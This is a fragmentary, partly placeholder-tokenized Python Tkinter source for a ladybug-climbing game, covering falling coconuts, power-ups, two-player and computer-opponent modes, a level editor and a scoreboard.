data.scaryBug:\n bug.draw(canvas, data)\n for powerUp in data.powerUps:\n powerUp.draw(canvas, data)\n for powerUp in data.invincible:\n powerUp.draw(canvas, data)\n\n\ndef drawHome(canvas, data):\n canvas.create_image(data.homeX, data.homeY, image=data.home)\n\n\n<function token>\n<function token>\n\n\ndef powerUpCoconutShot(data):\n if data.time % 60 == 0 and data.time % 120 != 0:\n Position = random.choice(data.spotList)\n data.powerUps.append(PowerUps(Position, 0))\n if data.time % 50 == 0:\n Position = random.choice(data.spotList)\n data.invincible.append(Invincible(Position, 0))\n if data.time % 100 == 0:\n Position = random.choice(data.spotList)\n data.scaryBug.append(ScaryBug(Position, 750))\n\n\n<function token>\n\n\ndef playerMousePressed(event, data):\n checkHome(event, data)\n\n\ndef playerTimerFired(data):\n if data.hit == False and data.level < data.levelMax:\n data.cy -= data.speed\n if data.time % 5 == 0:\n data.score += data.level\n if data.cy < 15:\n data.level += 1\n data.cy = data.Player1Max + 10\n data.speed += 2\n if data.cy > 40:\n data.time += 1\n if data.pauseDrops != True:\n coconutShot(data)\n for powerUp in data.powerUps:\n powerUp.onTimerFired(data)\n hitPause(data)\n for powerUp in data.invincible:\n powerUp.onTimerFired(data)\n hitInvincible(data)\n for bug in data.scaryBug:\n bug.onTimerFired(data)\n hitScaryBug(data)\n for coconut in data.coconuts:\n if data.pauseDrops == False:\n coconut.onTimerFired(data)\n if data.beInvincible == False:\n hit(data)\n if data.start != None:\n if abs(data.start - data.cy) >= 120:\n data.pauseDrops, data.beInvincible = False, False\n\n\ndef playerRedrawAll(canvas, data):\n canvas.create_image(data.width / 2, data.height / 2, image=data.background)\n canvas.create_line(0, 20, data.width, 20)\n for coconut in data.coconuts:\n coconut.draw(canvas)\n drawPowerups(canvas, data)\n canvas.create_image(data.cx, data.cy, image=data.ladyBug)\n canvas.create_text(data.width / 6, 50, text='Level: %d' % data.level,\n font='Arial 18 bold', fill='yellow')\n canvas.create_text(data.width / 6, 80, text='Score: %d' % data.score,\n font='Arial 18 bold', fill='yellow')\n canvas.create_text(2 * data.width / 3, 660, text=\n \"\"\"The greater the level, the more points get\n added to your score!\"\"\"\n , font='Arial 15 bold', fill='yellow')\n if data.hit == True:\n canvas.create_rectangle(0, 0, data.width, data.height, fill='black')\n canvas.create_image(data.width / 2, data.height / 2, image=data.\n deadScreen)\n canvas.create_text(data.width / 2, data.height / 4, text=\n 'You Lose! Better Luck Next Time!', font='Helvetica 23 bold',\n fill='yellow')\n canvas.create_text(data.width / 2, 280, text='Score: %d' % data.\n score, font='Arial 13 bold', fill='yellow')\n if data.level >= 8:\n madeIt(canvas, data)\n drawHome(canvas, data)\n\n\n<function token>\n\n\ndef drop2Player(data):\n if data.winner == None and data.pauseDrops == False:\n if data.time % 15 == 0:\n xPosition1 = random.randint(0, 385)\n if abs(xPosition1 - 100) > 25 and abs(xPosition1 - 360) > 25:\n if data.pause1Drop != True:\n data.coconuts1.append(Coconuts(xPosition1, 0))\n if data.pause2Drop != True:\n data.coconuts2.append(Coconuts(xPosition1 + 410, 0))\n if data.time % 12 == 0:\n side = random.choice(data.sides)\n if side == 'l':\n if data.pause1Drop != True:\n data.coconuts1.append(Coconuts(140, 0))\n if data.pause2Drop != True:\n data.coconuts2.append(Coconuts(540, 0))\n elif side == 'r':\n if data.pause1Drop != True:\n data.coconuts1.append(Coconuts(344, 0))\n if data.pause2Drop != True:\n data.coconuts2.append(Coconuts(755, 0))\n powerupDrop2Player(data)\n\n\n<function token>\n<function token>\n<function token>\n<function token>\n\n\ndef powerupTimerFired(data):\n for coconut in data.coconuts1:\n if data.pause1Drop == False:\n coconut.onTimerFired(data)\n hit2Player(data)\n for coconut in data.coconuts2:\n if data.pause2Drop == False:\n coconut.onTimerFired(data)\n if data.start1 != None:\n if abs(data.start1 - data.player1Y) >= 120:\n data.pause1Drop = False\n data.Invincible1 = False\n if data.start2 != None:\n if abs(data.start2 - data.player2Y) >= 120:\n data.pause2Drop = False\n data.Invincible2 = False\n\n\ndef twoPlayerRedrawAll(canvas, data):\n canvas.create_image(data.width / 4, data.height / 2, image=data.\n halfBackground)\n canvas.create_image(3 * data.width / 4, data.height / 2, image=data.\n halfBackground)\n canvas.create_line(data.width / 2, 0, data.width / 2, data.height, width=10\n )\n canvas.create_line(0, 20, data.width, 20)\n for coconut in data.coconuts1:\n coconut.draw(canvas)\n for coconut in data.coconuts2:\n coconut.draw(canvas)\n drawPowerups(canvas, data)\n canvas.create_image(data.player1X, data.player1Y, image=data.ladyBug)\n canvas.create_image(data.player2X, data.player2Y, image=data.ladyBug)\n canvas.create_text(50, 40, text='Player 1', font='Arial 15 bold', fill=\n 'yellow')\n canvas.create_text(450, 40, text='Player 2', font='Arial 15 bold', fill\n ='yellow')\n winner(canvas, data)\n drawHome(canvas, data)\n\n\ndef winner(canvas, data):\n if data.winner == 'player1':\n canvas.create_rectangle(0, 0, data.width, data.height, fill='black')\n canvas.create_image(data.width / 2, data.height / 2, image=data.\n winScreen)\n canvas.create_image(300, 320, image=data.winBug)\n canvas.create_text(data.width / 2, 100, text=\n 'You Made it! Player 1', font='Arial 23 bold', fill='yellow')\n elif data.winner == 'player2':\n canvas.create_rectangle(0, 0, data.width, data.height, fill='black')\n canvas.create_image(data.width / 2, data.height / 2, image=data.\n winScreen)\n canvas.create_image(300, 320, image=data.winBug)\n canvas.create_text(data.width / 2, 100, text=\n 'You Made it! Player 2', font='Arial 23 bold', fill='yellow')\n elif data.winner == 'tie':\n canvas.create_rectangle(0, 0, data.width, data.height, fill='black')\n canvas.create_image(data.width / 2, data.height / 2, image=data.\n winScreen)\n canvas.create_image(300, 320, image=data.winBug)\n canvas.create_text(data.width / 2, 100, text=\n 'Tie! You Both Made it!', font='Arial 23 bold', fill='yellow')\n\n\n<function token>\n\n\ndef editorMousePressed(event, data):\n checkHome(event, data)\n if data.easyY - data.r <= event.y <= data.easyY + data.r:\n if data.easyX - 2 * data.r <= event.x <= data.easyX + 2 * data.r:\n data.yourSpeed = 'slow'\n data.slow = data.click\n data.medium, data.fast = data.notClick, data.notClick\n if data.medX - 2 * data.r <= event.x <= data.medX + 2 * data.r:\n data.yourSpeed = 'medium'\n data.medium = data.click\n data.slow, data.fast = data.notClick, data.notClick\n if data.hardX - 2 * data.r <= event.x <= data.hardX + 2 * data.r:\n data.yourSpeed = 'fast'\n data.fast = data.click\n data.slow, data.medium = data.notClick, data.notClick\n checkMiddle(event, data)\n checkLast(event, data)\n\n\ndef checkMiddle(event, data):\n if data.medX - data.r <= event.y <= data.medX + data.r:\n if data.easyX - 2 * data.r <= event.x <= data.easyX + 2 * data.r:\n data.rainSpeed = 'drizzle'\n data.drizzle = data.click\n data.rain, data.thunderstorm = data.notClick, data.notClick\n if data.medX - 2 * data.r <= event.x <= data.medX + 2 * data.r:\n data.rainSpeed = 'rain'\n data.rain = data.click\n data.drizzle, data.thunderstorm = data.notClick, data.notClick\n if data.hardX - 2 * data.r <= event.x <= data.hardX + 2 * data.r:\n data.rainSpeed = 'thunderstorm'\n data.thunderstorm = data.click\n data.drizzle, data.rain = data.notClick, data.notClick\n\n\ndef checkLast(event, data):\n if data.last - data.r <= event.y <= data.last + data.r:\n if data.easyY - 2 * data.r <= event.x <= data.easyY + 2 * data.r:\n data.powerUpsEditor = True\n data.yes, data.no = data.click, data.notClick\n if data.last - 2 * data.r <= event.x <= data.last + 2 * data.r:\n data.powerUpsEditor = False\n data.no, data.yes = data.click, data.notClick\n if data.enter == data.click:\n if data.enterX - data.r <= event.y <= data.enterX + data.r:\n if data.medX - 2 * data.r <= event.x <= data.medX + 2 * data.r:\n data.mode = 'levelCreated'\n\n\ndef drawButtons(canvas, data):\n data.font, data.fill = 'Helvetica 13 bold', 'yellow'\n canvas.create_text(data.medX, data.YST, text='Your Speed:', font=data.\n font, fill=data.fill)\n canvas.create_image(data.easyX, data.easyY, image=data.slow)\n canvas.create_text(data.easyX, data.easyY, text='Slow', font=data.font)\n canvas.create_image(data.medX, data.easyY, image=data.medium)\n canvas.create_text(data.medX, data.easyY, text='Medium', font=data.font)\n canvas.create_image(data.hardX, data.easyY, image=data.fast)\n canvas.create_text(data.hardX, data.easyY, text='Fast', font=data.font)\n canvas.create_image(data.easyX, data.medX, image=data.drizzle)\n canvas.create_text(data.medX, data.RST, text='Rain Speed:', font=data.\n font, fill=data.fill)\n canvas.create_text(data.easyX, data.medX, text='Drizzle', font=data.font)\n canvas.create_image(data.medX, data.medX, image=data.rain)\n canvas.create_text(data.medX, data.medX, text='Rain', font=data.font)\n canvas.create_image(data.hardX, data.medX, image=data.thunderstorm)\n canvas.create_text(data.hardX, data.medX, text='Heavy', font=data.font)\n canvas.create_text(data.medX, data.PUT, text='PowerUps?', font=data.\n font, fill=data.fill)\n canvas.create_image(data.easyY, data.last, image=data.yes)\n canvas.create_text(data.easyY, data.last, text='Yes', font=data.font)\n canvas.create_image(data.last, data.last, image=data.no)\n canvas.create_text(data.last, data.last, text='No', font=data.font)\n changeEnter(canvas, data)\n\n\ndef changeEnter(canvas, data):\n if (data.powerUpsEditor != None and data.yourSpeed != None and data.\n rainSpeed != None):\n data.enter = data.click\n canvas.create_image(data.medX, data.enterX, image=data.enter)\n canvas.create_text(data.medX, data.enterX, text='Enter', font=data.font)\n\n\ndef editorTimerFired(data):\n data.editorTime += 1\n if data.editorTime % 2 == 0:\n rainDrop(data)\n for drop in data.editorDrops:\n drop.onTimerFired(data)\n\n\n<function token>\n\n\ndef editorRedrawAll(canvas, data):\n canvas.create_image(data.width / 2, data.height / 2, image=data.background)\n canvas.create_image(data.width / 2, data.height / 2, image=data.tbg)\n for drop in data.editorDrops:\n drop.draw(canvas)\n canvas.create_text(data.width / 2, data.S_P - 10, text=\n 'Edit Your Level!', font='Arial 23 bold', fill='yellow')\n drawButtons(canvas, data)\n drawHome(canvas, data)\n\n\ndef setEverything(data):\n if data.yourSpeed == 'slow':\n data.speed = 6\n elif data.yourSpeed == 'medium':\n data.speed = 10\n elif data.yourSpeed == 'fast':\n data.speed = 14\n if data.rainSpeed == 'thunderstorm':\n data.rSpeed = 7\n elif data.rainSpeed == 'rain':\n data.rSpeed = 10\n elif data.rainSpeed == 'drizzle':\n data.rSpeed = 13\n\n\ndef levelCoconutShot(data):\n if data.levelEditorLives > 0:\n if data.time % int(0.35 * data.rSpeed) == 0:\n xPosition1 = random.randint(0, data.Player1Min - data.buffer)\n xPosition2 = random.randint(770, 870)\n xPosition3 = random.randint(220, 770)\n data.coconuts.append(Coconuts(xPosition3, 0))\n data.coconuts.append(Coconuts(xPosition1, 0))\n data.coconuts.append(Coconuts(xPosition2, 0))\n if data.time % int(0.55 * data.rSpeed) == 0:\n xPosition3 = random.randint(0, 220)\n xPosition5 = random.randint(220, 770)\n data.coconuts.append(Coconuts(xPosition3, 0))\n data.coconuts.append(Coconuts(xPosition5, 0))\n if data.time % int(data.rSpeed) == 0:\n side = random.choice(data.sides)\n if side == 'l':\n data.coconuts.append(Coconuts(3 * data.width / 8 - 20, 0))\n elif side == 'r':\n data.coconuts.append(Coconuts(7 * data.width / 8 + 40, 0))\n xPosition4 = random.randint(220, 770)\n data.coconuts.append(Coconuts(xPosition4, 0))\n levelPowerUp(data)\n\n\ndef levelPowerUp(data):\n if data.powerUpsEditor == True:\n if data.time % 20 == 0 and data.time % 40 != 0:\n Position = random.choice(data.spotList)\n data.powerUps.append(PowerUps(Position, 0))\n if data.time % 30 == 0:\n Position = random.choice(data.spotList)\n data.invincible.append(Invincible(Position, 0))\n if data.time % 35 == 0:\n Position = random.choice(data.spotList)\n data.scaryBug.append(ScaryBug(Position, 750))\n\n\n<function token>\n\n\ndef levelCreatedMousePressed(event, data):\n checkHome(event, data)\n\n\ndef levelCreatedTimerFired(data):\n setEverything(data)\n if data.levelEditorLives > 0:\n data.cy -= data.speed\n if data.cy < 15:\n data.level += 1\n if data.cy > 40:\n data.time += 1\n if data.pauseDrops != True:\n levelCoconutShot(data)\n if data.powerUpsEditor == False:\n for coconut in data.coconuts:\n coconut.onTimerFired(data)\n hit(data)\n if data.powerUpsEditor == True:\n for powerUp in data.powerUps:\n powerUp.onTimerFired(data)\n hitPause(data)\n for powerUp in data.invincible:\n powerUp.onTimerFired(data)\n hitInvincible(data)\n for bug in data.scaryBug:\n bug.onTimerFired(data)\n hitScaryBug(data)\n for coconut in data.coconuts:\n if data.pauseDrops == False:\n coconut.onTimerFired(data)\n if data.beInvincible == False:\n hit(data)\n if data.start != None:\n if abs(data.start - data.cy) >= 120:\n data.pauseDrops, data.beInvincible = False, False\n\n\n<function token>\n\n\ndef winEditor(canvas, data):\n canvas.create_rectangle(0, 0, data.width, data.height, fill='black')\n canvas.create_image(data.width / 2, data.height / 2, image=data.winScreen)\n canvas.create_image(300, 320, image=data.winBug)\n canvas.create_text(data.width / 2, 100, text='You Made it!', font=\n 'Arial 23 bold', fill='yellow')\n\n\ndef difficultyKeyPressed(event, data):\n if event.keysym == 'r':\n init(data)\n\n\ndef drawDifficulties(canvas, data):\n canvas.create_text(data.medX, data.AITY, text='Computer Difficulty:',\n font='Arial 23 bold', fill='yellow')\n canvas.create_image(data.easyX, data.easyY, image=data.slow)\n canvas.create_text(data.easyX, data.easyY, text='Easy')\n canvas.create_image(data.medX, data.easyY, image=data.medium)\n canvas.create_text(data.medX, data.easyY, text='Medium')\n canvas.create_image(data.hardX, data.easyY, image=data.fast)\n canvas.create_text(data.hardX, data.easyY, text='Hard')\n if data.difficulty != None:\n data.enter = data.click\n canvas.create_image(data.medX, data.enterY, image=data.enter)\n canvas.create_text(data.medX, data.enterY, text='Enter')\n\n\ndef difficultyMousePressed(event, data):\n checkHome(event, data)\n if data.easyY - data.r <= event.y <= data.easyY + data.r:\n if data.easyX - 2 * data.r <= event.x <= data.easyX + 2 * data.r:\n data.difficulty = data.difS\n data.slow = data.click\n data.medium, data.fast = data.notClick, data.notClick\n if data.medX - 2 * data.r <= event.x <= data.medX + 2 * data.r:\n data.difficulty = data.difM\n data.medium = data.click\n data.slow, data.fast = data.notClick, data.notClick\n if data.hardX - 2 * data.r <= event.x <= data.hardX + 2 * data.r:\n data.difficulty = data.difH\n data.fast = data.click\n data.slow, data.medium = data.notClick, data.notClick\n if data.enter == data.click:\n if data.enterY - data.r <= event.y <= data.enterY + data.r:\n if data.medX - 2 * data.r <= event.x <= data.medX + 2 * data.r:\n data.mode = 'AI'\n\n\n<function token>\n\n\ndef rainDrop(data):\n xPosition = random.randint(0, data.width)\n data.editorDrops.append(Coconuts(xPosition, 0))\n\n\ndef difficultyRedrawAll(canvas, data):\n canvas.create_image(data.width / 2, data.height / 2, image=data.background)\n canvas.create_image(data.width / 2, data.height / 2, image=data.tbg)\n for drop in data.editorDrops:\n drop.draw(canvas)\n drawDifficulties(canvas, data)\n drawHome(canvas, data)\n\n\ndef hitAI1(data, distance):\n for coconut in data.coconutsAI1:\n if (data.player1Y - data.r - coconut.y <= distance and data.\n switchOnProgress == False):\n if (coconut.x >= data.player1X - data.r and coconut.x <= data.\n player1X + data.r or AISwitchBug(data, distance) == True):\n testInt = random.randint(0, 9)\n if testInt <= data.difficulty:\n data.switchOnProgress = True\n if data.player1X == 150:\n data.player1X = 340\n else:\n data.player1X = 150\n data.switchOnProgress = False\n if (coconut.y >= data.player1Y - data.r and coconut.y <= data.\n player1Y + data.r):\n if (coconut.x >= data.player1X - data.r and coconut.x <= data.\n player1X + data.r):\n data.player1Y += 50\n data.coconutsAI1.remove(coconut)\n\n\ndef AISwitchBug(data, distance):\n for scaryBug in data.scaryBug:\n if (data.player1Y - data.r - scaryBug.y <= distance and data.\n switchOnProgress == False):\n if (scaryBug.x >= data.player1X - data.r and scaryBug.x <= data\n .player1X + data.r):\n return True\n\n\n<function token>\n<function token>\n\n\ndef addExtraCoconut(data):\n if data.time % 18 == 0:\n side = random.choice(data.sides)\n if side == 'l':\n if data.pause1Drop != True:\n data.coconutsAI1.append(Coconuts(140, 0))\n if data.pause2Drop != True:\n data.coconutsAI2.append(Coconuts(540, 0))\n elif side == 'r':\n if data.pause1Drop != True:\n data.coconutsAI1.append(Coconuts(344, 0))\n if data.pause2Drop != True:\n data.coconutsAI2.append(Coconuts(755, 0))\n if data.time % 37 == 0:\n side = random.choice(data.sides)\n if side == 'l':\n if data.pause1Drop != True:\n data.powerUps.append(PowerUps(140, 0))\n if data.pause2Drop != True:\n data.powerUps.append(PowerUps(550, 0))\n elif side == 'r':\n if data.pause1Drop != True:\n data.powerUps.append(PowerUps(344, 0))\n if data.pause2Drop != True:\n data.powerUps.append(PowerUps(755, 0))\n\n\ndef addPowerUpsAI(data):\n if data.time % 33 == 0:\n side = random.choice(data.sides)\n if side == 'l':\n if data.pause1Drop != True:\n data.invincible.append(Invincible(140, 0))\n if data.pause2Drop != True:\n data.invincible.append(Invincible(550, 0))\n elif side == 'r':\n if data.pause1Drop != True:\n data.invincible.append(Invincible(344, 0))\n if data.pause2Drop != True:\n data.invincible.append(Invincible(755, 0))\n if data.time % 66 == 0:\n side = random.choice(data.sides)\n if side == 'l':\n data.scaryBug.append(ScaryBug(140, 750))\n data.scaryBug.append(ScaryBug(550, 750))\n elif side == 'r':\n data.scaryBug.append(ScaryBug(344, 750))\n data.scaryBug.append(ScaryBug(750, 750))\n\n\ndef AIKeyPressed(event, data):\n if event.keysym == 'r':\n init(data)\n if data.winner == None:\n if event.keysym == 'Left' and data.onLeft1 == False:\n data.onLeft1 = True\n data.player2X = 550\n elif event.keysym == 'Right' and data.onLeft1 == True:\n data.onLeft1 = False\n data.player2X = 750\n\n\ndef AIMousePressed(event, data):\n checkHome(event, data)\n\n\ndef AITimerFired(data):\n if data.winner == None:\n if data.Invincible1 == False:\n hitAI1(data, 31)\n if data.Invincible2 == True:\n pass\n elif data.Invincible2 == False:\n hitAI2(data, 31)\n for coconut in data.coconutsAI1:\n if data.pause1Drop == False:\n coconut.onTimerFired(data)\n for coconut in data.coconutsAI2:\n if data.pause2Drop == False:\n coconut.onTimerFired(data)\n if data.Invincible1 == False:\n hitAI1(data, 13)\n if data.Invincible2 == True:\n pass\n elif data.Invincible2 == False:\n hitAI2(data, 13)\n data.player1Y -= data.speedAI\n if data.player1Y < 15 and data.player2Y > 15:\n data.winner = 'player1'\n if data.player1Y > 40:\n data.time += 1\n coconutShotAI(data)\n data.player2Y -= data.speedAI\n if data.player2Y < 15 and data.player1Y > 15:\n data.winner = 'player2'\n if data.player2Y > 40:\n data.time += 1\n coconutShotAI(data)\n if data.player1Y < 15 and data.player2Y < 15:\n data.winner = 'tie'\n for powerUp in data.powerUps:\n powerUp.onTimerFired(data)\n hitPause(data)\n powerUpAITimerFired(data)\n\n\ndef powerUpAITimerFired(data):\n for powerUp in data.invincible:\n powerUp.onTimerFired(data)\n hitInvincible(data)\n for bug in data.scaryBug:\n bug.onTimerFired(data)\n hitScaryBug(data)\n if data.start1 != None:\n if abs(data.start1 - data.player1Y) >= 120:\n data.pause1Drop = False\n data.Invincible1 = False\n if data.start2 != None:\n if abs(data.start2 - data.player2Y) >= 120:\n data.pause2Drop = False\n data.Invincible2 = False\n\n\ndef AIRedrawAll(canvas, data):\n canvas.create_image(data.width / 4, data.height / 2, image=data.\n halfBackground)\n canvas.create_image(3 * data.width / 4, data.height / 2, image=data.\n halfBackground)\n canvas.create_line(data.width / 2, 0, data.width / 2, data.height, width=10\n )\n canvas.create_line(0, 20, data.width, 20)\n for coconut in data.coconutsAI1:\n coconut.draw(canvas)\n for coconut in data.coconutsAI2:\n coconut.draw(canvas)\n canvas.create_text(50, 40, text='Computer', font='Arial 15 bold', fill=\n 'yellow')\n canvas.create_text(450, 40, text='Player 1', font='Arial 15 bold', fill\n ='yellow')\n drawPowerups(canvas, data)\n canvas.create_image(data.player1X, data.player1Y, image=data.ladyBug)\n canvas.create_image(data.player2X, data.player2Y, image=data.ladyBug)\n AIWinner(canvas, data)\n drawHome(canvas, data)\n\n\ndef AIWinner(canvas, data):\n if data.winner == 'player1':\n canvas.create_rectangle(0, 0, data.width, data.height, fill='black')\n canvas.create_image(data.width / 2, data.height / 2, image=data.\n winScreen)\n canvas.create_image(300, 320, image=data.winBug)\n canvas.create_text(data.width / 2, 100, text='The Computer Won :(',\n font='Arial 23 bold', fill='yellow')\n elif data.winner == 'player2':\n canvas.create_rectangle(0, 0, data.width, data.height, fill='black')\n canvas.create_image(data.width / 2, data.height / 2, image=data.\n winScreen)\n canvas.create_image(300, 320, image=data.winBug)\n canvas.create_text(data.width / 2, 100, text=\n 'You Made it! You Won!', font='Arial 23 bold', fill='yellow')\n elif data.winner == 'tie':\n canvas.create_rectangle(0, 0, data.width, data.height, fill='black')\n canvas.create_image(data.width / 2, data.height / 2, image=data.\n winScreen)\n canvas.create_image(300, 320, image=data.winBug)\n canvas.create_text(data.width / 2, 100, text=\n 'Tie! You Both Made it!', font='Arial 23 bold', fill='yellow')\n\n\ndef scoreboardKeyPressed(event, data):\n if event.keysym == 'r':\n init(data)\n\n\ndef scoreboardMousePressed(event, data):\n checkHome(event, data)\n\n\ndef scoreboardTimerFired(data):\n difficultyTimerFired(data)\n\n\ndef scoreboardRedrawAll(canvas, data):\n canvas.create_image(data.width / 2, data.height / 2, image=data.background)\n canvas.create_image(data.width / 2, data.tbgY, image=data.tbg)\n for drop in data.editorDrops:\n drop.draw(canvas)\n canvas.create_text(data.width / 2, data.txtTScore, text='Top Scores!',\n font='Arial 30 bold', fill='yellow')\n canvas.create_text(data.width / 2, data.S_P, text='Score_Player', font=\n 'Arial 20 bold', fill='yellow')\n drawHome(canvas, data)\n data.savedScores\n data.savedScores = readFile('score.txt')\n score = data.savedScores.splitlines()\n scores = []\n for line in score:\n scores.append(line.split(','))\n scores = sorted(scores, key=lambda x: int(x[0]))\n top5 = scores[-data.numScores:]\n top5.reverse()\n for i in range(len(top5)):\n canvas.create_text(data.width / 2, data.scoreShift + i * 50, text=\n top5[i], font='Arial 18 bold', fill='yellow')\n\n\n<function token>\n<function token>\n<function token>\n\n\ndef helpRedrawAll(canvas, data):\n canvas.create_image(data.width / 2, data.helpY, image=data.helpScreen)\n for drop in data.editorDrops:\n drop.draw(canvas)\n drawHome(canvas, data)\n\n\n<function token>\n<code token>\n", "<import token>\n<function token>\n\n\ndef init1(data):\n data.beInvincible = False\n data.Invincible1 = False\n data.Invincible2 = False\n data.scaryBug = []\n data.time = 0\n data.coconutFall = False\n data.sides = ['r', 'l']\n data.level = 1\n data.splashScreenTime = 0\n data.splashScreenDrops = []\n data.background = PhotoImage(file='tree.gif')\n data.deadScreen = PhotoImage(file='deadBug.gif')\n data.ladyBug = PhotoImage(file='lady.gif')\n data.winScreen = PhotoImage(file='treeTop1.gif')\n data.winBug = PhotoImage(file='littleBug.gif')\n data.halfBackground = PhotoImage(file='halfTree.gif')\n data.umbrella = PhotoImage(file='umbrella2.gif')\n data.spider = PhotoImage(file='spider.gif')\n data.hourGlass = PhotoImage(file='hourGlass.gif')\n data.splashScreen = PhotoImage(file='splash.gif')\n init2(data)\n\n\ndef init2(data):\n data.tbg = PhotoImage(file='tbg2.gif')\n data.click = PhotoImage(file='click.gif')\n data.notClick = PhotoImage(file='notClick.gif')\n data.player1X = 150\n data.player1Y = 750\n data.player2X = 550\n data.player2Y = 750\n data.winner = None\n data.speed = 12\n data.speed2 = 12\n data.editorTime = 0\n data.editorDrops = []\n data.margin = 100\n data.enter = False\n data.powerUpsEditor = None\n data.yourSpeed = None\n data.rainSpeed = None\n data.slow = data.notClick\n data.medium = data.notClick\n data.fast = data.notClick\n data.drizzle = data.notClick\n data.rain = data.notClick\n data.thunderstorm = data.notClick\n init3(data)\n\n\n<function token>\n\n\ndef initsplashScreenNumbers(data):\n data.splashButtonY = 425\n data.p1ButtonX = 225\n data.p2ButtonX = 290\n data.edButton = 355\n data.diffButton = 425\n data.helpButton = 490\n data.sboardButton = 555\n data.hitPenalty = 75\n data.splashText = data.height / 2 - 20\n data.lives = 2\n data.levelMax = 8\n data.lane = 94\n data.Player1Min = 270\n data.Player1Max = 740\n data.homeX = 50\n data.homeY = 650\n initScoreBoardHelp(data)\n init1Player(data)\n\n\n<function token>\n\n\ndef init1Player(data):\n data.buffer = 40\n\n\ndef initAI(data):\n data.AITY = 225\n data.easyX = 200\n data.easyY = 300\n data.medX = 400\n data.hardX = 600\n data.enterY = 450\n data.difS = 4\n data.difM = 6\n data.difH = 8\n data.last = 500\n data.enterX = 575\n data.PUT = 450\n data.RST = 350\n data.YST = 250\n\n\n<function token>\n\n\ndef keyPressed(event, data):\n if data.mode == 'splashScreen':\n splashKeyPressed(event, data)\n elif data.mode == '1Player':\n playerKeyPressed(event, data)\n elif data.mode == '2Player':\n twoPlayerKeyPressed(event, data)\n elif data.mode == 'editor':\n editorKeyPressed(event, data)\n elif data.mode == 'levelCreated':\n levelCreatedKeyPressed(event, data)\n elif data.mode == 'AI':\n AIKeyPressed(event, data)\n elif data.mode == 'difficulty':\n difficultyKeyPressed(event, data)\n elif data.mode == 'scoreboard':\n scoreboardKeyPressed(event, data)\n elif data.mode == 'help':\n helpKeyPressed(event, data)\n\n\ndef timerFired(data):\n if data.mode == 'splashScreen':\n splashScreenTimerFired(data)\n elif data.mode == '1Player':\n playerTimerFired(data)\n elif data.mode == '2Player':\n twoPlayerTimerFired(data)\n elif data.mode == 'editor':\n editorTimerFired(data)\n elif data.mode == 'levelCreated':\n levelCreatedTimerFired(data)\n elif data.mode == 'AI':\n AITimerFired(data)\n elif data.mode == 'difficulty':\n difficultyTimerFired(data)\n elif data.mode == 'scoreboard':\n scoreboardTimerFired(data)\n elif data.mode == 'help':\n helpTimerFired(data)\n\n\ndef redrawAll(canvas, data):\n if data.mode == 'splashScreen':\n splashScreenRedrawAll(canvas, data)\n elif data.mode == '1Player':\n playerRedrawAll(canvas, data)\n elif data.mode == '2Player':\n twoPlayerRedrawAll(canvas, data)\n elif data.mode == 'editor':\n editorRedrawAll(canvas, data)\n elif data.mode == 'levelCreated':\n levelCreatedRedrawAll(canvas, data)\n elif data.mode == 'AI':\n AIRedrawAll(canvas, data)\n elif data.mode == 'difficulty':\n difficultyRedrawAll(canvas, data)\n elif data.mode == 'scoreboard':\n scoreboardRedrawAll(canvas, data)\n elif data.mode == 'help':\n helpRedrawAll(canvas, data)\n\n\n<function token>\n\n\ndef splashKeyPressed(event, data):\n pass\n\n\ndef splashScreenTimerFired(data):\n data.splashScreenTime += 1\n if data.splashScreenTime % 2 == 1:\n rainDropSplash(data)\n for drop in data.splashScreenDrops:\n drop.onTimerFired(data)\n\n\ndef splashScreenButtons(canvas, data):\n canvas.create_image(data.splashButtonY, data.p1ButtonX, image=data.mode1)\n canvas.create_image(data.splashButtonY, data.p2ButtonX, image=data.mode2)\n canvas.create_image(data.splashButtonY, data.edButton, image=data.mode3)\n canvas.create_image(data.splashButtonY, data.diffButton, image=data.mode4)\n canvas.create_image(data.splashButtonY, data.helpButton, image=data.mode5)\n canvas.create_image(data.splashButtonY, data.sboardButton, image=data.mode6\n )\n\n\ndef rainDropSplash(data):\n xPosition = random.randint(0, 800)\n data.splashScreenDrops.append(Coconuts(xPosition, 0))\n\n\n<function token>\n<function token>\n<function token>\n\n\nclass Coconuts(object):\n\n def __init__(self, x, y):\n self.x = x\n self.y = y\n self.r = 9\n self.fill = 'deep sky blue'\n self.speed = 30\n self.outline = 'blue'\n\n def draw(self, canvas):\n canvas.create_polygon(self.x, self.y - 2 * self.r, self.x - self.r,\n self.y, self.x, self.y + self.r, self.x + self.r, self.y, fill=\n self.fill, outline=self.outline, width=3)\n\n def onTimerFired(self, data):\n self.y += self.speed\n\n\n<function token>\n<function token>\n\n\nclass PowerUps(Coconuts):\n\n def __init__(self, x, y):\n super().__init__(x, y)\n\n def draw(self, canvas, data):\n canvas.create_image(self.x, self.y, image=data.hourGlass)\n\n\ndef hitPause(data):\n for powerUp in data.powerUps:\n if data.mode == '1Player' or data.mode == 'levelCreated':\n if powerUp.y >= data.cy - data.r and powerUp.y <= data.cy + data.r:\n if (powerUp.x >= data.cx - data.r and powerUp.x <= data.cx +\n data.r):\n data.pauseDrops = True\n data.start = data.cy\n data.powerUps.remove(powerUp)\n elif data.mode == '2Player' or data.mode == 'AI':\n if (powerUp.y >= data.player1Y - data.r and powerUp.y <= data.\n player1Y + data.r):\n if (powerUp.x >= data.player1X - data.r and powerUp.x <= \n data.player1X + data.r):\n data.pause1Drop = True\n data.start1 = data.player1Y\n data.powerUps.remove(powerUp)\n if (powerUp.y >= data.player2Y - data.r and powerUp.y <= data.\n player2Y + data.r):\n if (powerUp.x >= data.player2X - data.r and powerUp.x <= \n data.player2X + data.r):\n data.pause2Drop = True\n data.start2 = data.player2Y\n data.powerUps.remove(powerUp)\n\n\nclass Invincible(PowerUps):\n\n def __init__(self, x, y):\n super().__init__(x, y)\n\n def draw(self, canvas, data):\n canvas.create_image(self.x, self.y, image=data.umbrella)\n\n\ndef hitInvincible(data):\n for powerUp in data.invincible:\n if data.mode == '1Player' or data.mode == 'levelCreated':\n if powerUp.y >= data.cy - data.r and powerUp.y <= data.cy + data.r:\n if (powerUp.x >= data.cx - data.r and powerUp.x <= data.cx +\n data.r):\n data.beInvincible = True\n data.start = data.cy\n data.invincible.remove(powerUp)\n if data.mode == '2Player' or data.mode == 'AI':\n if (powerUp.y >= data.player1Y - data.r and powerUp.y <= data.\n player1Y + data.r):\n if (powerUp.x >= data.player1X - data.r and powerUp.x <= \n data.player1X + data.r):\n data.Invincible1 = True\n data.start1 = data.player1Y\n data.invincible.remove(powerUp)\n if (powerUp.y >= data.player2Y - data.r and powerUp.y <= data.\n player2Y + data.r):\n if (powerUp.x >= data.player2X - data.r and powerUp.x <= \n data.player2X + 